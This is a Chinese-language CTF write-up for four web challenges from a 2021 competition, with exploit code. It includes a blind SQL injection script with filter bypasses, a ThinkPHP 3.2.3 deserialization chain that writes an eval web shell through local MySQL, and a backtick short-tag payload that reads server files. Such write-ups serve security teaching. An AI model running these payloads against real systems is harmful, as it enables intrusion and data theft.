
第六,小伙伴们辛苦了。
WEB1 javaweb
操作内容:
打开是 /login,那么二话不说,就 post 点东西上去。

有个 deleteMe, shiro没跑了。
直接绕。

nice, 还看到时 jackson。测了下,此处可反序列化。

直接工具造他。
这里测了下不好弹 shell,没成功。那么退一步,用 curl 直接带 flag 出来了。

打,用 Spring 那条链。


拿到 flag。

flag值:
flag{7de56a6b-96b4-48c3-b8ce-af078c0acd2f}
WEB2 happysql
操作内容:
一个登录框,诶呦我的妈,直接注入。

测了下,单引号被过滤,可以用双引号代替。空格呢,/**/代替,见招拆招。等号被过滤就 regexp 正则走一波,文字被过滤就转十六进制。
写个脚本,一把梭。
先得到版本 10. 开头,判断是 marriadb。然后开始爆表名,information_schema 里 or 被过滤了,则可以用 https://mariadb.com/kb/en/mysqlinnodb_table_stats/ 这个表代替。然后得到表名之后,就可以尝试读出其中的内容了。
import binascii
import string
import requests
result = ''
for j in range(50):
for i in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}-,.":
# for i in string.printable:
url = "http://eci-2ze6jljai3r428c1jf6q.cloudeci1.ichunqiu.com/login.php"
headers = {
'Content-Type': "application/x-www-form-urlencoded",
'Referer': "http://eci-2zej5nwlszgd0g0na5qf.cloudeci1.ichunqiu.com/index.php",
'Origin': "http://eci-2zej5nwlszgd0g0na5qf.cloudeci1.ichunqiu.com",
'cache-control': "no-cache",
'Postman-Token': "21b59b79-a818-4fd1-a908-3112b45f9fc6"
}
# 10.
# response = requests.request("POST", url, data={
# 'username': 'admin"||(select/**/version())/**/regexp/**/0x' + binascii.hexlify(
# ("^" + result + i).encode()).decode() + '#', 'password': '123456'}, headers=headers)
# ctf,f1ag,
# response = requests.request("POST", url, data={
# 'username': 'admin"||(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)/**/regexp/**/0x' + binascii.hexlify(
# ("^" + result + i).encode()).decode() + '#',
# 'password': '123456'}, headers=headers)
response = requests.request("POST", url, data={'username': 'admin"||(select/**/*/**/from/**/f1ag)/**/regexp/**/0x' + binascii.hexlify(("^" + result + i).encode()).decode() + '#',
'password': '123456'}, headers=headers)
print(response.text)
if response.text.find("home") != -1:
result += i
print(result)
break
print(result)



flag值:
flag{1d260c91-3ff2-48e1-a0f9-61c1d5e7fe06}
WEB3 easytp
操作内容:
打开靶机,/www.zip 审源码。

看到反序列化点。
看下 tp 版本是 3.2.3,那网上找个链子直接打。https://f5.pm/go-53579.html
mysql 任意读文件不得劲,没读到 flag。不过在/etc/passwd里看到有mysql 用户,装了 mysql 那就好说了。直接用这个打本地的 mysql, 把堆叠开了直接写 shell。密码,试一试就出来了,弱密码 123456。
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, //读取本地文件~
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=1;select '<?php eval(\$_POST[glzjin]);?>' into outfile '/var/www/html/glzjin2.php';#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://eci-2ze6t3je33wd3311362p.cloudeci1.ichunqiu.com/Home/Index/test",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}
写了 shell 之后蚁剑连上,读取 /start.sh 发现 flag 在数据库里。


蚁剑自带的数据库连接器连不上。
那就冰蝎。

这个冰蝎直接查询也是没东西,不过咱们可以用他的导出功能。


flag值:
flag{215b56f9-c86a-409d-855c-c549f6213b5b}
WEB4 write_shell
操作内容:

看下源码。
两个动作,pwd 就获取当前路径,upload 则是将 data 参数里的内容给写入到那个目录的index.php里。
再看看写入部分,屏蔽了 php,可以用短标签<?= ?>解决。空格和花括号被屏蔽,那么空格就用\t来代替了。
而没有屏蔽反引号,则可以利用这个来执行命令。

sandbox/4e5b09b2149f7619cca155c8bd6d8ee5/
然后来upload 下,不磨叽,直接读根目录下文件了。

http://eci-2zeb1jg3i7kmfssp69vi.cloudeci1.ichunqiu.com/?action=upload&data=<?=`cat\t/*`?>
即可读到 flag。

flag值:
flag{5b3580cd-0b4c-4484-b991-50a574133bd6}

1 个评论
红明谷杯CTF2021-Web部分 – Peco's blog
[…] 红明谷 CTF2021 Web部分 WriteUp 红明谷杯 Writeup by X1cT34m WEB […]